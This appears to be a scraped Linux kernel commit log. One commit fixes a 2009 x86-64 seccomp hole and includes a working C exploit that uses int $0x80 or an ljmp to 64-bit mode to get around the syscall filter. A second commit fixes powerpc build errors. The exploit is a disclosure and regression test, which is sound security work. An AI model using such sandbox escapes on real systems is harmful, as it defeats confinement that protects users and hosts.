Skip to content
  1. Mar 24, 2009
  3. Mar 17, 2009
  5. Mar 02, 2009
    • Roland McGrath's avatar
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath authored 
      

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: default avatarRoland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
  7. Feb 13, 2009
  9. Jan 16, 2009
  11. Jan 15, 2009
  13. Jan 14, 2009
  15. Jan 13, 2009
  17. Jan 08, 2009
  19. Jan 07, 2009
  21. Jan 06, 2009
  23. Dec 31, 2008
  25. Dec 30, 2008
    • Anton Vorontsov's avatar
      powerpc/qe: Fix few build errors with CONFIG_QUICC_ENGINE=n · be11d3b3
      Anton Vorontsov authored 
      

Some 83xx boards were not ready for the optional QUICC Engine support.

This patch fixes following build errors:

arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
(.text+0xb308): undefined reference to `par_io_data_set'
arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
(.text+0xb334): undefined reference to `par_io_data_set'
arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
(.text+0xb408): undefined reference to `qe_ic_get_high_irq'
arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
(.text+0xb478): undefined reference to `qe_ic_get_low_irq'
arch/powerpc/platforms/built-in.o: In function `mpc832x_spi_init':
mpc832x_rdb.c:(.init.text+0x574c): undefined reference to `par_io_config_pin'
mpc832x_rdb.c:(.init.text+0x5768): undefined reference to `par_io_config_pin'
mpc832x_rdb.c:(.init.text+0x5784): undefined reference to `par_io_config_pin'
mpc832x_rdb.c:(.init.text+0x57a0): undefined reference to `par_io_config_pin'
mpc832x_rdb.c:(.init.text+0x57bc): undefined reference to `par_io_config_pin'
arch/powerpc/platforms/built-in.o:mpc832x_rdb.c:(.init.text+0x57d8): more undefined references to `par_io_config_pin' follow
arch/powerpc/platforms/built-in.o: In function `mpc836x_rdk_init_IRQ':
mpc836x_rdk.c:(.init.text+0x5e84): undefined reference to `qe_ic_init'
arch/powerpc/platforms/built-in.o: In function `mpc836x_rdk_setup_arch':
mpc836x_rdk.c:(.init.text+0x5f10): undefined reference to `qe_reset'
make: *** [.tmp_vmlinux1] Error 1

Signed-off-by: default avatarAnton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: default avatarKumar Gala <galak@kernel.crashing.org>
      be11d3b3